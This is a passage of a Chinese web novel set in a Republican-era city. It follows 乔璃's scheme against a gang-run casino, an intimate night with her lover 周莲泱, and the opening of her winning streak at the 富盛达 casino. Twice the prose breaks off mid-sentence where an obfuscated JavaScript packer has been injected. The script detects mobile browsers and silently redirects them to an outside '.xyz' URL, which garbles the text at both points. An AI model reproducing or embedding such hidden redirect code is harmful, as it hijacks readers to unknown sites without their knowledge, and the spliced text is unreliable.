裴宗邺昨日已领教过乔璃的胆气,但并未真将她的主意听进耳中,眼下再提,也不算很赞同。孟玉龙觉察他的心意,笑着开口:“乔小姐可能有所不知,虽然同为青帮中人,林锦镛可不比裴先生,手段也不如名字那般风雅。你说要毁他的赌场,计策是什么?” “计策?我没有什么计策,只要赌到赌场无筹可输。” 这话一出口,裴宗邺不知该气还是该笑:“乔小姐聪明,可别把别人尽当成蠢货,哪有人能将一整个赌场赢到无筹可输的?” 乔璃一笑:“可我眼前不就坐着一个例子么?” “我可没做到那种程度。” “您没做,是做不到,还是无法做?以前不能,是无势无靠,有势力后,寻常赌场也不敢同您作赌。但若换成我——赌场如果输到拒绝一介弱女子来赌,面子丢尽,以后就是海市天大的笑料;如果以权势逼迫,难道我就没有裴先生撑腰吗?” 她的双眼实在是太亮了,遥遥对视,仿佛惊风出暗草,烧出一片烽火似的自信与勇气。 裴宗邺先一愣,然后莫名心尖一涨:“前提是你……” “不论我。对裴先生来说,这就是无本万利的交易。” 孟玉龙忽然忍不住低声问:“如果你输,可能是要命的失败。如果你赢,我们去一个强劲的竞争对手,你只要裴先生考虑你的建议吗?” 乔璃把头微微后仰,像也在犹豫自己提出的条件是否有误。然后她转头,跳向裴宗邺的眸光中半是兵刃似的锋利,半是慵懒的潋滟,笑道:“是啊,如果赢,我只要裴先生考虑我的建议。” 天平两端的砝码决不平衡,难道不算最吸引人的交易吗? 30.捌 执子之手 苏州路不远的江边公园,新修成不过几年,还有着一处荒滩。沙滩满是石砾,周围静静的,只有单调规律的江水拍岸声。日暮四合,周遭更显荒芜,当然没有人。 今日这荒滩却有一盏风灯,里面的烛火小而暗,可能是为不引人注目吧。天与水很阔,比得那一点风灯好小。石滩上有一块地方被收拾干净,铺了一层时下流行的红白格野餐布。风灯就放在旁边,晃动烛火的,除了掠过河面的晚风,还有古雅的三弦乐音。 灯光黯黯,乔璃揉着三弦,望着江边不远处舞剑的白影。乐音与剑影相和,银光割断一片夜,破开一阵风,天边余晖给他披上一层红灰色的纱衣。 风住,剑止,乔璃便将手中琴也停了,下颌抵膝而坐,看他慢慢走过来。 布带束着一把瘦腰,仿古的长袍将将曳地,披在他身上明显偏大,将清俊面容衬出一种雅而萧致的风韵。 等周莲泱收起那把未开刃的长剑,脸色红润,与她肩并肩坐到一块,这一缕古画里淌出来的“林下风致”便在肌肤相触的燥热中消失无踪。 乔璃一偏头,好似能触到他的睫。好长的睫羽,扑扇着,怕冷一样瑟缩依来。她的单衫只有及肘的半袖,所以他寻过来的手臂也理所当然贴近她赤在外的温暖。 小臂挨着小臂,她交叉进他手指的指尖轻轻够着手背凸起的青筋,去触碰活动后充盈的血气。他有一只很漂亮的手,五指修长,骨节分明,这只手被她拢进指间轻轻地揉蹭摩挲着。谁也不说话,指与指交缠,并肩默默望着江水。 云层被夜影染成无法形容的黛紫,江水中央折射出整??光滑迷??的??暗,和她眼眸深处一样的黑暗。望着那抹黑暗,舌根忽然燃起尖锐的干渴,直直烧出舌尖。 他四顾了下,似要在四周静夜中找到潜伏的什么间谍,犹豫着要做什么。 乔璃把他的手扣得更紧一些,周莲泱不敢抬头,她的黑暗如同夜幕一样,从交叠的影子侵蚀而来。 好静,又好吵。心脏在胸腔激烈捶鼓。 “……表哥想要?” 周莲泱心尖一颤,无端生出一股惧意,手又被攥紧,她伏过来,唇瓣贴着耳廓一侧,声含笑意:“放心,不会在这里对你怎样的。” 好渴。他咬住下唇,又放松,空的手指深陷掌心:“……我又不怕你。” 乔璃笑倒在他肩膀,目光看似无意,实则细品着他通红的脸与窘迫的神情:“嗳,表哥,咱们回家吧。” 夏风再飘起来,带过江风的许多清爽。两人收拾野餐布,手绊着手,去乘胶皮车。 从后门进入石库门里弄,前院热闹,同旬休的周莲泱无甚关系,他在嘈杂中走出一道静,牵着她上阁楼。 屋檐遮着光,衬得夜越发黑了,屋里不知为何,只留乔璃手中的风灯照明。 周莲泱回看她,乔璃的湖蓝旗袍与暗夜近乎融在一起,几不可辨。他想招呼她坐下,又觉得客气,显得她只是一夜不归,就变成外来的客人。分明是他不归得多。 忽然一只手伸来,扣住他的后脑,往前按,前面是她的双唇,温而湿润,仿佛还染着江水湿濡的潮气。 他终于不再渴了。像主动咬钩的傻鱼一样送了送,钓鱼的人却没有收竿,一任他不得章法地轻轻厮蹭。交握的手垂下,他发出一声甜腻鼻音,那只手就反扣住他的腰,往下拽。她把他往后压,往床上压。 周莲泱忽然有一瞬惊觉,但已太迟了。她变得强硬起来,这一下吻得深而忘情。水声窸窣,他渐渐喘不上气来,缠绵之处烧起一把火,烫着心窝,从心窝又一路往所有有知觉之处电过去,即教人害怕,又渴望,犹不足。 她瞧着他,瞧他双颊比晚霞更堪看许多的红晕,金粉胭脂,想来都比不上水莲花的清妍。 窗外夜风渐冷,她的长发垂落,如同帘幕笼罩,发丝洒进他披散的黑发里。 “哥哥怎么不看我?”乔璃嬉笑着拈起他颊边一缕发,放在唇边吻了吻。 周莲泱别过眼,又颤回来嗔她。微一点灯光飘来细细的碎金,透过微闪的睫,照进那经年日久、深深如许的情意。 心口恍若被轻烫一下,乔璃盖住他的眼睛,噙住他双唇。周莲泱试图短促地抽一口空气,险些呛到自己,换来身上人一声轻笑。 “傻哥哥。” 她放开他,鼻尖轻磨他通红欲滴的脸颊,懒洋洋顶一顶。他无力地软在原处,被她搂着,被压在胸口。瘦削的腰被一只手托起,周莲泱抵着她颈窝,侧首一瞥,便被那双眼中涌动的黑暗吓得不轻。 她的手心好烫。 腰忽然被抱得更紧,她实在对他的身体了若指掌。 明明两人拥抱过这么多次,周莲泱还是觉得手足无措。不止脸颊,耳后与脖颈都蒙上一层诱人采撷的胭脂色。 过了一会,他就忍不住了,眼角淌落一线泪,环着她肩背的手无力地抓握她的衣服:太过分了,介于吃饱与吃撑之间似的,又无法停下来。 乔璃后背被抓出一点微痛,垂眸去看,怀中人脸上已细细浸出一层汗水,像蒙着雾的明珠。他的牙齿咬着嘴唇,声音闷在喉咙里,湿漉漉的。 她把手贴到他面颊上,很快地,不等他捡起呼吸。 杏核似的眼微微睁开,迷茫的,水莹莹地颤着,透出十足的恳求之色。 只是拥抱而已,两人的衣服都还好好穿着。 她如同美丽而健壮的蟒,死死绞缠着猎物,又像野蛮的豹,在广阔而丰厚的土地飞速驰骋。 而他,只能透过黑发的帘幕,隐约看见一点儿朦胧摇晃的灯光。 在她给予的黑暗里,他的灵魂像是被剖成两半,残忍地碾碎,却不疼,只是过了头的饱胀与充盈;又像烂熟的果实,被揉坏撑裂,连最脆弱的种籽都被毫不留情地破成齑粉。 什么东西好像要坏掉了。 不知何时前后颠倒,乔璃压着他的腰,慢慢抚摸散在后背的长发。 他的脊背已有男人的厚度,收紧的腰却残留着一种说不出的年少的柔嫩,只被一条疤痕破坏了完美。 欲出的情绪蓬勃地敲击胸腔,她游刃有余的动作乱起来,迫切又茫然地想要从胸口抓出些什么:“哥哥,我可以吃吗?可以吃你一口吗?” 乔璃伏在他耳边低喃,吐息滚烫,眼睛深黑而湿润。他浑身发抖,心脏突突乱跳,啜泣着连连点头。 他听到吞咽唾液的声音,热气拂来,牙齿深深切进后颈。“哥哥、哥哥……”她嗓音完全哑了,一口咬出一圈血红的印记,又加深力气,慢慢地,再叠出一圈烙痕。 周莲泱阖着双眼,只剩下喘息的力气。 每每到这时候,这深夜,他的心总会一空:梦中踏入悬崖的空,许多次惊醒于他人床榻的空,被反复损毁践踏的空。一身春华锦绣的皮肉被多舛磨得黯旧,积满不甘与自毁的苦痛。 “哥哥。”乔璃吻在他的伤处。“看着我。” 周莲泱笑了一笑,笑中有破坏两人欢愉的懊恼。乔璃想了想,抬起身:“你看。” 触感不是玉,周莲泱抬起头,他这么一看,立刻猛地偏过头去:她的腿上绑着几条黑色系带,好奇怪,看得他从头到脚整个人晕起来。 乔璃在他身上轻轻笑了一声,手扳住周莲泱的脸,迫使他睁大眼睛往下看。 他眼泪又掉得好厉害,内心极度羞耻,那种被她解释是医疗用途的工具像极了哪位工匠的手艺,光是形状便叫人心跳加快,又忍不住好奇。 “它叫 Zwillingslotus。”乔璃她的声音低得像旧留声机在轻唱一段小夜曲,带着惊人的欲念与压迫:“春水涌动,却不落花,更不必担忧结果。” 周莲泱觉得自己看到的一切都太过荒谬了,手臂靠着眼睛,浑身如火烧一般燥热:“你……这东西哪里来的?” 还叫什么并蒂莲……怎能不令他多想。 乔璃唇角微微一扬:“我画图纸,柳姨介绍的德国商人。都说德国人古板保守,但维也纳却设有相关研究所,正所谓物极必反,越是压抑的民族,骨子里就越是逆反。” 周莲泱蜷了蜷手,避不开头顶的凝视,只好轻推她胸口,含含混混地哀求:“我看见了……我,你别蹭我,别蹭我的腿……” 乔璃一笑,撇开给他展示的新玩意,用力环住他。周莲泱被这么一攥,几乎要化进她怀里,不自觉贴着她胸口蹭了又蹭。 她伏在他颈窝,轻嗅,皮肤有一种玉兰花瓣揉烂的蜜甜气味。好香。好温暖。 风灯已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816886|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经自熄了,老虎窗外微微透进几缕月。发丝沾颊,数不清是谁的发,覆来哪儿都找不到的安心感。 两人已许久未曾相约在什么地方,单独做些什么无关生存的闲事。衣食无忧、风月欢愉,仿佛已是上辈子的梦,是虚假的回忆,不真切的幻影。 少年与青年,同一个人的人生,时间流逝竟然如此不同。锦绣华堂,繁荣盛张,置身于此时没有人会想到现实是怎样的破败不堪,人心能到何等污浊卑劣的地步。 他觉得自己已过早的衰老了,无论过往有多少意兴、志气,振奋家国的抱负,如今都在烟笼寒水月笼沙的声色之所化为虚无。 周莲泱闭上双眼,鼻尖萦绕她长发间男士古龙水的味道。昂贵的西洋香水,沾染久了,连江风都未曾抹去。 他像醒来一样看着周遭一切,心神已经醒来很久了,久到神经已慢慢麻木,忘却苏醒的剧痛。此刻在这股香水味里,忽然又被寒凉的鱼钩扎穿,生发出一团不知是怨是妒的苦。 乔璃不知道他在想什么,伏在青年心口,双眸微阖,一时大脑空空旷旷,只余手与臂、腰与腿依偎相拥的温存。 “这样小心着凉。起来,我给你擦一擦再睡。” 周莲泱把着她的肩晃一晃,乔璃眨眼:“我睡了?” “迷糊了一会。”他指尖抚过她眼下一抹青黑:“昨夜没睡?” “不知道那是什么地方。”乔璃和他脸贴着脸,“不会有事,也不敢睡。” 周莲泱抱着她坐起身,凝目怔怔看她,乔璃了然,想说什么,却被捂住嘴。 “我知道……囡儿,你想做事,我知道,不会阻你。” 掌心一湿,是她偷偷一吻。 周莲泱躲开手,她眼睛笑眯眯的,倒映柔暖的灯光:“之前讲得不多,因我也不是很把握,莲哥哥还想知道什么?我都与你说。” “也没什么,赌场之事,三四个月前不就找孟家小姐开始筹谋?你很少计划这么久,一定是大事,就算告诉我,我也不一定懂。” 周莲泱的头发散了,拿手慢慢梳理,五指顺着长发轻轻捋下去,扣着一束发尾,垂下眼帘。 乔璃瞧着他的姿态动作,觉得里面有种奇怪的别扭,想去握他的手,被他一躲。青年后撤站起的身形竟如舞娥一般柔婉生娇,衣摆飘动如蝶翼翩跹,赤脚踩地,低首回眸。 她一时看住了,暗夜中只有映着灯烛的一点洁白肤光,与一双雌雄莫辨的风流眼。 “我好看吗?” 乔璃觉得怪,但又是好看的,于是点头。 “我去看了别人的戏,觉得自己尽是不足。扮杨玉环,扮杜丽娘,要想扮得像,平日起居需常作女想,须眉化蛾眉……你懂什么意思么?” “我知道,就是平时也要模仿女人?哥哥做什么都行……”乔璃瞥见床脚几张报纸,上面写有“梅兰生三度访沪,一票难求”,心下忽然明了:原来这个世界,此时也不乏戏曲大家。朝代交替后的安稳,本就是催生艺术最好的温床。 他张开双臂,气息蒙过来,把她堵在怀抱与床脚中央:“那囡儿怎么还叫我哥哥?” 乔璃眉梢不由一跳,只觉他语意中既有戏谑,同时又深压着一种难以触及的阴暗。她这么一顿,犹豫的功夫,周莲泱一双清致的眼就直直盯了过来,语气似真似假,似有意似无意:“如果我是姐姐,你还会想与我在一起么?” 他的声音淡淡,连乔璃都看不清真正的情绪,却自然而然觉出一点:他真正想问的问题,藏在深得或许自己都不晓得的地方,扮女人什么倒只是个幌子罢了。 她心口忽然漫涨出被狠心揉捏的痛,那痛并不是因为受伤,而是看见他眼中那分自虐的情态;又有一种极为奇怪的快意——他这样鲜血淋漓的近乎残忍的自毁,完完全全是因她而生发出来的。 思绪种种,不过转瞬,便被乔璃压下来,只握住周莲泱的手,攥紧,低声嘟囔一句什么。 “什么?” “执子之手,与子偕老。不论我们是夫妻、战友还是朋友,不论谁用什么称呼怎么定义,我都不会放开你的手,你明白吗?” 周莲泱脸上一阵失神。 “死生契阔,你是我的东西,连死亡也不许将我们分离。” 31.玖 笑谈生死(上) 乔璃在同乐会场闹出的动静,和她在裴家留宿的事实,都未瞒着玉关柳的眼睛。自她与梁慧秀成为好友,便是玉关柳也不得不承认乔璃实在有一种旁人比不上的能耐,就慢慢将手里的人脉暗线展现出来,又把手下大将柴凌翠的闲暇时间吩咐出去,令她去听乔璃的差使。 玉关柳本想让恃才清傲的柴凌翠与她碰一碰,也好让人知晓驱使人才不是易事,莫要整天觊觎泰春班,好似她连同整个戏班都已成乔璃的囊中之物。 谁知柴凌翠本就因为胡小望之死对乔璃心怀感激,一番谈话后又不知怎么与她交心,眼下已是彻底倒到那边去,帮乔璃忙前忙后,还一副死心塌地毫无怨言的模样。 但她还是个小女孩的时候,就已经靠一手医术润物细无声地讨得上下欢心,连厨娘熊槐都替她说话。玉关柳叹气,当时一着不慎,没料到竟然收容一只讨债鬼进来。 能勾搭上裴大董,是乔璃的本事,也是件绝对互利互惠,利远远大于她带来的烦心的好事。所以到了次日上午,玉关柳特意定了一桌席面,主要招待乔璃,也叫柴凌翠过来。 柴凌翠第一次见到玉关柳这幅若有所思、不上不下的模样,一时捂着嘴笑得花枝乱颤:“班头啊班头,你这人向来腰肢软得很,怎么此时竟不得当地硬起来了?” 与顶头上司这么说话,听起来不大像样,但柴凌翠就是这个脾性,玉关柳不值当与她多言:“她人呢?” “人家连日在外奔波,早出晚归,回来当然是芙蓉帐暖度春宵,怎会早起呢?” 玉关柳一哑,不开口了,只是低头继续在团扇上绘春水空山的图案。柴凌翠又笑:“她们这一对儿,倒真是很奇怪,我从来也没见过像这样的关系。” 玉关柳手中毛笔未停:“想这种事,就没意思了。” “是啊,可你觉得有意思的事,往往都很煞风景。”柴凌翠喃喃一句,片刻,主动把话引到正题上去。她说一件事,玉关柳也应一件事,气氛居然有一种君臣奏对的谐和。 若是有外人在,绝想不到世上的妓女与老鸨,居然还可以这样相处。 可世间女子的关系,以及相处的方式,本就不是男人生造之词可以定义的。 这厢玉关柳与柴凌翠商量事宜,阁楼里的周莲泱也因为窗外蝉声过吵而醒来了。 其实他难得有睡得这样沉实的时候,在二楼待客的房间睡觉总令人心神紧张,每日需要思考、需要忍受的事情实在太多,唯有被乔璃这样抱上一回,弄到精疲力竭,才能得到彻底的休息。 只是身上也……太酸软了些。 昨夜胸前被她着意触碰过的地方,今日与衣服内衬一摩擦,就传出一阵暧昧的火辣痛感。周莲泱竭力忍住伸手去揉的欲望,微垂着眼,将散发拢住绑成个低马尾。 背后忽然有人整个人伏上来,他握着头发的手,也顺势收紧了一点。 乔璃眯着眼,傍在他后背,对着青红一片的后颈看过片刻,实在忍不住亲了亲:“疼吗?” “倒还好,未破皮流血。” “我有分寸嘛。” 腰被从后抱住,一只手连揉几下,又像体验触感似地捏一捏,周莲泱才反应过来:“囡儿!” 她的手指顺着肌肉轮廓划过:“哥哥是不是觉得痒?我给你揉揉。” 呵气扑在耳廓,乔璃扭股糖一样攀着他的后背,一手捧他的脸,另一手一个个去解衣服的纽襻。周莲泱起身衣服还未整好,又被捉开,露出洇着片片红的锁骨。 他从腰往下都含着酸,怕撑不住,赶紧拿后背顶她,手去撇她的手:“快起开,急色鬼。” “哎哟,哥哥说我是急色鬼,那你看看我的背,数数有几道被抓出来的印子?” 周莲泱禁不得这样的调侃,脸红了个透,硬撑着不说话。乔璃靠进他的颈与背,只闻一阵凉森森甜丝丝的幽香,像莲花的清甜,中间又夹着丝莲芯的清苦。 大概总是泡药浴,那股似香似药的气味也沁进肤肉里了罢。 乔璃搂着他,微微低头,靠近他的耳畔,沉声:“哥哥,我过几日要更忙,你好好照顾自己。” “我在这住惯的地方,有什么好让你担心的?”周莲泱心中一酸,回身把她拢进怀里,让她的头枕在自己胸口,用一只手抚摸她的头发。 阳光透过半吊的老虎窗倾进这阁楼里来,描绘出他白皙脸庞俊艳的轮廓。乔璃被他轻轻抚摸着,心里又一下空旷起来,不想起,就想一直靠着他睡到天荒地老。 “……接下来你要去福西路的赌窟,连我都知道,说赌其实是骗钱,十赌九输。要是赢钱,那些青帮人怎么会放过你?囡儿,你老实告诉我,会不会有危险?” 乔璃睁眼,安抚似的轻轻拍了拍周莲泱的背:“被赢钱谁也不会开心,所以我才先去扯一面裴大董的虎旗,又提前求孟小姐的帮助。富贵险中求,风险并非没有,只能降到我们能接受的程度。” “……好,可你不许有事。”他嗓音微颤,抱着她,舍不得松开手。 “好啦,你们两个,腻也腻到日上三竿,倒教班头好等。” 柴凌翠敲门,一推开钻进来,看两人还搂在一起,一面笑,一面用眼风去刮乔璃的脸:“大小姐,你还不来?” 乔璃说来,其实又耽搁了一会。等她坐进玉关柳的屋子,先前眷恋柔软的神情就已全消失不见。 玉关柳一望既知,由此也不多言,只谈正事:“我叫你来,其实是孟家大小姐过来通知:你之前计划的几件事,今日已确认完全办妥了。” 乔璃颔首,玉关柳又笑:“孟家认识负责装潢设计富盛达赌场的商人,你之前特意要他们推荐装红绿两种彩光带,是有什么讲究不成?” “讲究自然有,现在讲出来,柳姨也未必信,不若日后见了再说。”乔璃侧头思索片刻,继续道,“倒是柳姨这边,我的身份需得继续保密。” “那是当然,便是青龙此前查你,我不也让他查不到泰春班么?你这一番动作真能成功,也算与林锦镛结了仇,我是万万不会沾身的。” 乔璃瞥她一眼,指责之意溢于言表:“柳姨还记得你我俱是一条绳上的蚂蚱么?” 玉关柳翻看手中团扇,唇角上扬:“你这小孩,真开不起玩笑。能傍上裴大董,我管得罪不得罪林锦镛?” 大事说完,再说小事:“你之前画的那些图纸,当真是有点意思,风花雪月的玩具,卖给德国佬倒可惜了。” 乔璃不在意她谈事跳脱,也跟着话题走:“如今对橡胶制品的使用远远低于安全标准,技术也就掌握在几个先进国家手里。再说……” “再说你也不打算做一门买卖,只是卖个人情罢了。”玉关柳指尖抵着下颌,做着娇俏的情态,倒有一种全不突兀的自然风流,“只是你下次再有些图纸,可不能送出去,我找人帮你做。” 乔璃心中一动:“我倒有些精密危险的东西,准备往后拿来与裴大董合作,但自己能造,手中就多一分底气。” “说来听听?”她附耳过去,只听见几个硬邦邦砸得人心脏生疼的字,回靠进座椅,眼中神色游离不定:“……你说的当真?” “我对柳姨说过谎话么?自然是真的,好钢、铅铜与油料少数易得,可图纸精细,差之毫厘便谬以千里,不能出一点错。” 玉关柳忍不住仔细看她,乔璃并不躲闪。 女人攥紧团扇,脸上不见明显的情绪,只怔怔地想了一会儿:“也罢,你不至于拿这种事哄我。我知道一个人,能将铁料钢材一比一给你还原过来,一点错都不会有的。” 乔璃问:“是谁?不知柳姨还认识这样的技术人才。” “你也认识的,说来,比见到我还早一点。”玉关柳把团扇掩在面前,“正是你铁音姐。” 乔璃倒没有太吃惊:“我说的东西,柳姨认为铁音姐能造?” “能在宫中全身而退之人,不是太中庸圆滑,就是有真本事,李公就是这样的人。”玉关柳叹了一口气,“造办处都是人尖,先朝对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869328|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枪支也并非没有研究,一把枪扔过去,改进不敢说,原模原样仿出一件倒不是难事。若有图纸,你铁音姐定是能造出来的。” 乔璃摩挲一下手中茶碗:“听起来,柳姨好像还有些未尽之言。” 玉关柳笑笑:“不算什么。我只想告诉你,李公在运道上不算很好,却实在将这门手艺传了下去。若赞李公手艺是大才,那么他的传人,并不仅是青出于蓝胜于蓝这么简单。” “但凡她用手摸过,就没有忘记的。” 她既然在最心高气傲的时候认识她,就一定不会引一个庸人为友。 乔璃望着玉关柳掩在团扇之后的双眼:“那么,让铁音姐守着一处棺材铺子,想必是大材小用了。” ------------------------------------------------------ 农历六月的观音诞,在海市是很有名的。入夏燥热,许多小孩与年轻男女都在盼着庙会几日的热闹,有很多时髦人也愿意去挤一挤,买些零星东西[1]。 夜色还未沉透,城隍庙外的青石板地上已摆满摊位,叠着密密层层的货品——各式佛香、香炉,观音像,吹成观音造型的糖画,拔丝糖果,京果,素肉素鸭,也有绘光溜溜丘比特天使的小怀表、眼镜盒,玻璃小瓶的进口香水。 红灯笼挂在廊檐下,忽明忽灭。热风夹着香灰味,从香炉缝隙吹过,街口一场变戏法正吸引着孩子们尖叫连连。后巷里,不太干净的地方飘着浓重的酒与腥味,一条小门缝后,有骰子在瓷碗中碰撞作响。 更辉煌、更有狂欢劲儿的还要属富盛达赌场。地上洒欢庆的花炮,还尤带余温。 “今夜热闹,平日有头脸的人也会来这里赌。前朝邮传尚书盛全怀的少爷小姐们素有‘赌国魁首’之称,富盛达一开,包几个厢,日日在里面抽大烟。”孟玉龙说,“其他如大资本家林如山、审判厅推事杨福均,甚至江西督军、封疆大吏们也在开业时带着保镖过来一赌为快。” “另外还有元党的军政要员,固然也来同乐作赌,但因场内不许抽大烟,总差点什么。因此富盛达一建好,都纷纷汇向这里,吞了好大一份同乐的流水。” 孟玉龙今夜穿着一身不起眼的棉布长袍,头发乱乱的,铜钱似的圆片眼镜遮住了一双总令人如沐春风的桃花眼,再粘两撇假胡子,活像戏台上的小花脸。 乔璃看他扮呆头鹅,从头到脚都不漏一丝破绽,突然领会到孟彩霞称他为“变色龙”的缘由。他这二把手的名头虽然传的广,但若非孟家与他有些藕断丝连的关系,其实少有人真说得出“小孟尝”的来历家世,知道他是个什么样的人。 几个领过月钱下工的穷衙门文书结伴醉醺醺走进来,孟玉龙躲过他们,笑着继续说:“负责富盛达的,是北地来的流氓,外号‘黑狻猊’,林锦镛手下第一杀手头子大赌鬼,号称‘百赌百赢不抖手’。你一路往上赌,必然会碰到他,只要乔小姐能在众目睽睽之下斗倒黑狻猊,富盛达的名声也就完了。” 两人一起往里走进去,处处点着香烟与大烟的气味,灯烫得人眼睛发涩,骰子声音哗啦啦响,像在敲骨头。 富盛达的布置与同乐差不多,离大门最近的地方都是些小筹码的赌桌,荷官打着哈欠,兴致缺缺地撒牌。排在后头的赌桌,二楼与包厢,就要靠大赌筹、身份或人情才能进。越大的赌局,就越隐秘,也越惊人。 多是男人在赌,也有上年纪的女人,像乔璃这样年轻脸嫩的极少。一进门,就有几道黏腻目光盯上来,见身旁还站个男人,大半闪走,还有阴魂不散的,分明是瞧不上孟玉龙扮的呆头鹅,想看一看有没有便宜可占。 这回没有梁大小姐的金钱,乔璃只能用自己攒下的五十银元从外场赌起。裴宗邺派出孟玉龙提供最低水平的保护,孟彩霞虽然鼎力支持她,但来赌场旁观可就出格了,泰春班的人,更要避免同她扯上关系。 所以今夜,只有乔璃一人,独自来挑富盛达的场子。 32.拾 笑谈生死(中) 一个年轻女子独身挑富盛达赌场,自然很让人担心,哪怕是裴宗邺,也不免担忧这年岁分明还算孩子的姑娘,怎么也要派个保镖出去。 孟玉龙看出他这份隐约不言的担忧,便主动请缨——毕竟他这样的身份,裴宗邺要在这件事上差使他,也得想一想是不是太大材小用了。 他主动排忧解难,倒也不全是揣摩上司心意,更是为自己的好奇:他自己也是自恃聪慧的一类人,又是裴大董手下第一号智将,如今遇见一个行事出格的女子跑来“抢饭碗”,自然要来亲眼瞧瞧。 更不用说他看出裴大董瞧这乔姑娘时眼里那抹若有若无的晦涩深意。 越靠近大门的赌桌,注头就越小,玩法也越粗糙简单,多是骰戏,掷骰子、大小、押宝等等。围绕在赌桌旁观的也都是粗人,干苦活的衣服还未换下来,领了月钱就投入赌场。靠近这一圈,汗油、体味,烟臭,复合气味浓得几乎让人跌一个跟头。 脏臭粗鲁的一群赌鬼,与乔璃这穿着海绿的花绸子衣裙、发髻插一朵水晶紫兰花簪的女学生完全不和。 她一走过去,便有人故意挤上来推搡,仗着人多拥挤,伸出咸湿的一只黑手,要去扯她腰间飘薄的腰带。 孟玉龙长长地叹了一口气,身子横插过去挡住对方的手,脚踩住对方的脚背用力一踏,跑车的汉子面容立刻扭曲,发出一声惨叫。 众目睽睽,面对身边的视线,他居然还将一个呆书生扮得很好,此刻只是装作误伤人的模样,连连鞠躬道歉。 这么一来,做贼心虚的汉子也没法再多说什么了,乔璃顺势站进赌台——这样的小台是没座的,五十银元放在这里都显得阔绰。 在这个连荷官都神色恹恹的小赌台上,她把五十银元翻成两百银元后,孟玉龙觉得有趣了。他现在看出来,乔璃赌钱,并不是谙熟荷官出千的手法,而是通过捕捉他们的神态动作,判断到底会开大还是开小。 这甚至比前者更令人惊愕。 对裴宗邺那样,从小混迹市井,在赌场中长大的人来说,通过察言观色看出普通荷官动向不难。他看人用人的本事之高明,本就是一条征服孟玉龙、令他甘心受人驱使的原因。 但放在这么年轻的一个女孩子身上,就有点难以置信了。 毕竟这里是富盛达,再小的赌台,负责人也是挑选出来的人精。 这显然还远远不是乔璃的极限。 骰子赌台之后,还有玩牌九、十三张,龙虎斗的,每个台子不赢多,两三百,没有大数。乔璃不急,从进入赌场到现在,还没到半个时辰,手里的钱已翻过十倍。 这便是赌场的暴利。 她这边慢悠悠赌钱,被她搜刮过的小赌台荷官倒有些坐不住了:大概是今日观音诞,进来好些平日不赌钱只想凑热闹的闲婆闲汉,乔璃靠长相就鹤立鸡群,一路赢下来,倒吸引不少人跟在身后,就为看她什么时候输一把。 可她一直没输过。 势头已起。 孟玉龙在她身边半观察半保护,注意力也分了一半给赌场各角落里不起眼的人影。过了一会儿,就有一个笑容分外友好的荷官走过来,邀请乔璃两人去大厅后头的赌台。 “这位小姐,这位先生,今日赢多,真是恭喜了!咱们已备好了茶水点心,何不往后走走歇歇脚,后头也更有趣呢!” 这人个头矮小,肤色黝黑,一身整齐的制服,看着像赌场的什么小管事。他自称阿全,讲粤语口音的海市话,看不出年纪,只笑起来眼周有细细的纹路。 “后面是什么有意思的?”乔璃数着手里满满一盘筹码,笑容与阿全旗鼓相当的虚假。 阿全知机,一鞠躬主动接过筹码盘,笑道:“我看小姐也是浸淫赌场的老手,不知会不会玩英吉利的桥牌?像您这样漂亮敢玩的贵客,前场是接待不周了。今日也来了许多外国人,都聚在后场哩。” 乔璃脸色一沉,意味不明地轻哼一声:“贵客称不上,桥牌倒会打,只是我为什么非得和外国人赌不可?” 她的神色实在有些凶了,孟玉龙才反应过来,这荷官是把两人当成进赌场寻交际的一类小姐,胆大、漂亮,会讲西洋话,正好引去与不怕输钱的洋鬼子玩,别在外场搅兴。 阿全见她生气,只当自己戳破了她的心事,端了两杯好香槟来,恭恭敬敬地解释:“不是要小姐非得跟外国人赌,而是只有绅士才配得上小姐的身份。” 乔璃把一杯酒接过来,啜饮一口:“行了,你带路吧。” 往后面走,那种呛人的鸦片味散去不少,又多了雪茄的烟臭。富盛达内装潢洋气十足,却又有许多中式点缀,比同乐赌场还要不伦不类。只是这里的赌客实在多,一座座赌台,已多半满了。 阿全寻觅片刻,把两人引到一张刚凑完搭子的桥牌桌上。乔璃拿眼一览人,有一个醉过一半的英国兵,一个面相浮滑的公子哥,还有个留着老鼠须、长袍马褂的中年人。 闲聊几句,坐在一起的,都是经常打牌作赌的常客,赌得文雅,筹码可不小,五十银元起步。乔璃赢来的这些钱,堪堪可以上桌。 尤其是英国中尉丹尼尔,自负技巧派,看不上寻常玩家,一见来了个漂亮娇贵的女赌客,第一感觉就是不屑。 阿全替她拉开椅子,丹尼尔便用蹩脚的中文挤着眼招呼:“能和这么美丽的女士打桥牌,实在超出我对今夜的期待,只是牌桌无绅士,我是不会在桥牌上让着淑女的。” 乔璃的笑浮在脸上,淡淡的,也不说话。一轮打过,丹尼尔赢了个开门红。他的确有些技巧,能记牌,会算牌,且这是他自己家乡的游戏,自然要比别人更精通些。第一笔赢来的筹码,被他叫了一瓶上等的红酒,请同台牌友共饮。 丹尼尔的脸喜得红润,却随着接下去的牌局越来越苍白:第二局是鼠须中年人唐二爷赢,下一场又轮到鲍新荣鲍公子,吊诡的是,两人分到的牌都是天然的烂,却生生靠一手烂牌,赢过丹尼尔的好牌。 